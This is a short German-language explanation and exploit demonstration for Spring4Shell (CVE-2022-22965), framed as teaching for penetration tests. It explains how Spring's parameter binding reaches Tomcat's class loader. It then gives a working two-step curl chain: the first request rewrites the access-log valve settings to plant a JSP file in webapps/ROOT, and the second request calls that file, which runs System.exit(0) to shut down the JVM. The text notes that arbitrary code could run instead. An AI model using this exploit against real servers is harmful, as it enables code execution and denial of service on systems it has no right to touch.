
Minimale Spring4Shell (CVE-2022-22965) Exploit-Demonstration, die Tomcat über Class-Loader-Manipulation angreift, mit einer schrittweisen curl-basierten Angriffskette für pädagogische Penetrationstests.
Zum Zeitpunkt der Erstellung dieser Dokumentation erlaubt das Spring-Web-Request-Parameter-Binding (WebDataBinder) standardmäßig den Zugriff auf die getClass()-Methode eines Objekts. Dies ist ein internes JVM-spezifisches Implementierungsdetail (imho sollte nicht offengelegt werden). Daher können sich seine Funktionen mit zukünftigen JVM-Versionen ändern und erweitert werden. Das stellt eine ständige Belastung für die Betreuer dar, die versuchen, kreative Wege vorherzusehen, wie böswillige Akteure diesen mächtigen Zugriff auf unheilvolle Weise nutzen könnten.
Bei dieser speziellen CVE war der Grund eine Class::getModule()-Methode, die in Java 9 eingeführt wurde. Sie ermöglichte einen ungeschützten Zugriff auf einen class-loader.
Im folgenden Beispiel verwendet der Angreifer dies, um Tomcats Access Logger neu zu konfigurieren. Dieser schreibt normalerweise kurze Informationen über jede vom Server empfangene Anfrage in eine Logdatei. Die Eigenschaft pattern definiert, welche Informationen geschrieben werden, directory wo die Logdatei abgelegt werden soll, prefix, fileDateFormat und suffix wie der Dateiname lauten soll.
Die folgende Anfrage zielt auf einen POST-Endpunkt unserer verwundbaren Anwendung poc-0 ab. Sie konfiguriert den Logger neu, um für jede bearbeitete Anfrage eine Zeile <%{e}iSystem.exit(0);%{e}i> in eine Datei f.jsp im Verzeichnis webapps/ROOT zu schreiben, wobei %{e}i ein Platzhalter für den Wert des Anfrage-Headers e ist.
Dies ist eine unerwartete/kreative Nutzung des Loggers, und der Rest ist ein standardmäßiger JSP- und Tomcat-Anwendungsserver in Aktion.
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
Nach einem Moment wird eine Datei f.jsp erstellt, von Tomcat aufgenommen, kompiliert und bereitgestellt, um den Datenverkehr zu bedienen. Die folgende Anfrage ruft sie auf, die einen eingebetteten System.exit(0);-Code ausführt und die JVM anhält, auf der sie läuft.
curl -v http://container-ip:8080/f.jsp
Dies ist ein Beispiel für einen DoS, aber der System.exit(0);-Code ist normaler Java-Code, sodass der Angreifer viel mehr tun kann.